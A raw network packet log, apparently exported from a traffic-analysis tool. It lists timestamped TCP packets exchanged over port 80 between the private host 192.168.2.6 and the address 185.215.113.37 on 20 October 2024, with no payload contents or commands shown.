Oct 20, 2024 21:16:16.337564945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.337575912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.337587118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.337598085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.337609053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.337620020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.337631941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.337832928 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.337833881 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.337833881 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.337833881 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.337833881 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.338114023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.338128090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.338138103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.338149071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.338160992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.338175058 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.338181019 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.338195086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.338206053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.338213921 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.338217974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.338231087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.338242054 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.338248014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.338253975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.338263988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.338274002 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.338279963 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.338284969 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.338309050 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.338330984 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.339201927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.339214087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.339224100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.339236975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.339247942 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.339261055 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.339271069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.339284897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.339303017 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.339315891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.339328051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.339339972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.339350939 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.339355946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.339361906 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.339366913 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.339405060 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.339405060 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.339405060 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.339405060 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.339461088 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.339476109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.340172052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.340183973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.340194941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.340205908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.340217113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.340228081 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.340233088 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.340240002 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.340259075 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.340270996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.340276957 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.340281963 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.340293884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.340305090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.340317011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.340331078 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.340332031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.340342045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.340361118 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.340431929 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.341037989 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.341057062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.341068029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.341082096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.341093063 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.341094971 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.341106892 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.341124058 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.341125011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.341137886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.341149092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.341160059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.341170073 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.341172934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.341190100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.341202021 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.341202974 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.341214895 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.341219902 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.341227055 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.341248989 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.341279984 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.342061996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.342073917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.342083931 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.342096090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.342113972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.342125893 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.342135906 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.342147112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.342161894 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.342173100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.342180014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.342184067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.342195988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.342206955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.342217922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.342228889 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.342232943 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.342261076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.342294931 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.343015909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.343028069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.343038082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.343050003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.343060970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.343066931 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.343072891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.343085051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.343096018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.343106985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.343111038 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.343117952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.343128920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.343132973 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.343138933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.343151093 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.343158960 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.343168020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.343184948 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.343218088 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.343242884 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.343883991 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.343888044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.343893051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.343898058 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.343910933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.343924046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.343935013 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.343941927 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.343981028 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.343996048 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.344222069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.344233990 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.344244957 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.344258070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.344269037 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.344270945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.344283104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.344289064 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.344293118 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.344295025 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.344300032 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.344310045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.344327927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.344330072 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.344340086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.344350100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.344366074 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.344372034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.344373941 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.344377995 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.344379902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.344386101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.344388008 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.344399929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.344409943 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.344435930 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.344460964 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.345235109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.345247984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.345267057 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.345278025 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.345289946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.345294952 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.345302105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.345312119 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.345324993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.345331907 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.345335960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.345347881 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.345357895 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.345367908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.345371962 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.345380068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.345390081 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.345402002 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.345402956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.345412970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.345423937 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.345424891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.345436096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.345447063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.345458031 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.345458984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.345490932 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.345509052 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.345993042 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.346004009 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.346014977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.346040010 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.346064091 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.481386900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.481393099 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.481440067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.481470108 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.481506109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.481523037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.481527090 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.481574059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.481609106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.481623888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.481638908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.481658936 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.481661081 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.481693983 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.481731892 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.481759071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.481782913 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.481796980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.481808901 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.481831074 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.481867075 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.481901884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.481918097 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.481931925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.481952906 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.481978893 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.482069016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.482084036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.482099056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.482114077 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.482120991 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.482131004 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.482144117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.482156992 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.482197046 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.482394934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.482410908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.482424974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.482439995 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.482450008 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.482456923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.482489109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.482520103 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.482553005 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.482577085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.482592106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.482606888 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.482606888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.482620955 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.482623100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.482637882 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.482646942 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.482651949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.482666969 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.482682943 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.482696056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.482698917 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.482718945 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.482743025 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.482918024 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.482970953 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.483078957 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483094931 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483108997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483124971 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483134985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.483139992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483155966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483163118 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.483170986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483186007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483200073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483207941 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.483216047 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483230114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483239889 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.483244896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483266115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483272076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.483279943 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483294964 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483295918 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.483340025 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.483648062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483663082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483678102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483691931 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483696938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.483709097 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483740091 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.483776093 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.483819008 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483840942 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483854055 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483867884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483867884 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.483882904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483890057 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.483899117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483915091 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483916998 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.483931065 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483944893 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483958006 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.483961105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483974934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.483982086 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.483989954 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.484004021 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.484018087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.484021902 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.484031916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.484047890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.484064102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.484081030 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.484117985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.484745026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.484769106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.484783888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.484792948 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.484800100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.484813929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.484813929 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.484828949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.484842062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.484852076 CEST	80	49711	185.215.113.37	192.168.2.6
